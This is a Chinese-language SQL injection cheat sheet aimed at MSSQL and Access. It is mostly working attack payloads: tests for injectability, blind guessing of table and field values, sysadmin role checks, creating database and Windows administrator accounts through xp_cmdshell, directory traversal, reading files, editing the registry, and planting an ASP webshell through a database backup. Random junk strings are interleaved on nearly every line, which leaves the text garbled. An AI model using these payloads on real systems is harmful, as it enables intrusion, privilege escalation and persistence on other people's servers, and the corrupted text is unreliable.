1.判断是否有注入;and 1=1 ;and 1=2 +_fxV|}P
2.初步判断是否是mssql ;and user>0 Daf;;
w
LZpqv~av
3.注入参数是字符'and [查询条件] and ''=' u_)'}
k8sjW!2
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 'k$j^|r>
-[lOf
5.判断数据库系统 DTV"~>@
M[dJQ(
;and (select count(*) from sysobjects)>0 mssql _K>YB>W}7
cr{f*U6`
;and (select count(*) from msysobjects)>0 access SR'u*u!
Y&b JKX
a/
Z\h{*
{Ve_u
6.猜数据库 ;and (select Count(*) from [数据库名])>0 rcMSso2
f,Dj@?3+
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 LT '2446
:'gX//b):
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8<g9 ~L
3hzKd_
9.(1)猜字段的ascii值(access) K<w$
U{.y X7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 &Sp2['a!
}W* q
(2)猜字段的ascii值(mssql) lZ }H?n%
B}p{$g!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 }Ias7d?re
q6>%1~?
10.测试权限结构(mssql) |lf,3/*jDB
g)~"-uQQ
K@@[N17/8
w
]$Hr
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- xrl!$xE
GX
0W>,RR)
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ?,x3*'-(
}EWPLJA
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- kEM|;&=_
uY|-: =
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- =ET |h}I
PzDekyl
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- EJ`"npU
wtnC^d$
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Bgj^n{9x
<MBpV^Y}
;and 1=(select IS_MEMBER('db_owner'));-- -eoXaP{[
-|A`+1-R+
EAXbbcV
z7g=L@
11.添加mssql和系统的帐户 \B~}s }
OB5`a,5dI
;exec master.dbo.sp_addlogin username;-- 6` @4i'.
;exec master.dbo.sp_password null,username,password;-- %oE3q>S$en
S+&Bf ~~D
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- "_T8Km008
DF!*S{)
;exec master.dbo.xp_cmdshell 'net user username password 0_faJjTbP;
<mdHca
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :NPnwX8w
Rz9IjL.Z
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;/g Bjp]H
wm/=]*jpK
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
h"DxgG
g/6>>p`J
a6i%7O m
z8\z`#g!
12.(1)遍历目录 '&hk?
3=~0m
;create table dirs(paths varchar(100), id int) 8%D 2G i
{:0TiOP5x
;insert dirs exec master.dbo.xp_dirtree 'c:\' &`IC3O5
YE5B^sQ1
;and (select top 1 paths from dirs)>0 qt!0#z8
Ryrvu 1 k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) P4S]bPIp
YZ0Jei8+-
E2~&GkU.UN
(W4H?u@X0
(2)遍历目录 m]#oZVngy
Tweku}D7
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- w5uOkz #
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2Ub!wee
dGY:?mf&
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !O}^ Y
DYFfq
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Td/J6Q90
cg]>*lH
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 !m<v@SmL\
xaG( 3
\T]'d@Wyd
*kE<7
13.mssql中的存储过程 51&K
L|H:&|F
xp_regenumvalues 注册表根键, 子键 lqoJ2JMy
2=/,9ka~
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 lOuO~`,J
E+!A0!1
xp_regread 根键,子键,键值名 A,;V|jv9
M4`.[P4
;exec xp_regread +#V.6i
r?j2%M\
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &<RK=e'*x
1r LK1X
xp_regwrite 根键,子键, 值名, 值类型, 值 Q^k\q
;bhD:$NB X
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 z IT)Hs5
;*}tbh3;.
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ev"f@y9Do
Z_.xglq{
xp_regdeletevalue 根键,子键,值名 L.tW]43K
#l?E2
U4WL
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 f\U(7)2
3JJEj1O
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 @&xWd{8'
Qf#=Y j
'`nf7b(
VY|'7in"M
14.mssql的backup创建webshell :'0.
DP5}q"l
use model la}Xo0nq0+
BDiN*.w5
create table cmd(str image); ^Ez`WP
!/RL.`!>
insert into cmd(str) values (''); u]uZc~T
0 F-db
backup database model to disk='c:\l.asp'; &6q67
Rw!wfh_+
I92orr1
&cHA xker
15.mssql内置函数 F+Q(^Nk
thK4@C|X4
;and (select @@version)>0 获得Windows的版本号 fx3oA}
3 =-XA2zJ
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ]r.95|V*
wMvAm%}+
;and (select user_name())>0 爆当前系统的连接用户 #)b0&wyW6i
Pof]9qE-y
;and (select db_name())>0 得到当前连接的数据库 :-)H
ty zf
'M!* Ge
;@$v_i
G A+#'R
16.简洁的webshell 8RaRXnJ
LzGSN
use model T6M=BkcP
X 3q2XU
create table cmd(str image); ~A$y-Dt'
~;/}D0k$x
insert into cmd(str) values (''); K$kI%eGZA
o7sIpE9
backup database model to disk='g:\wwwtest\l.asp';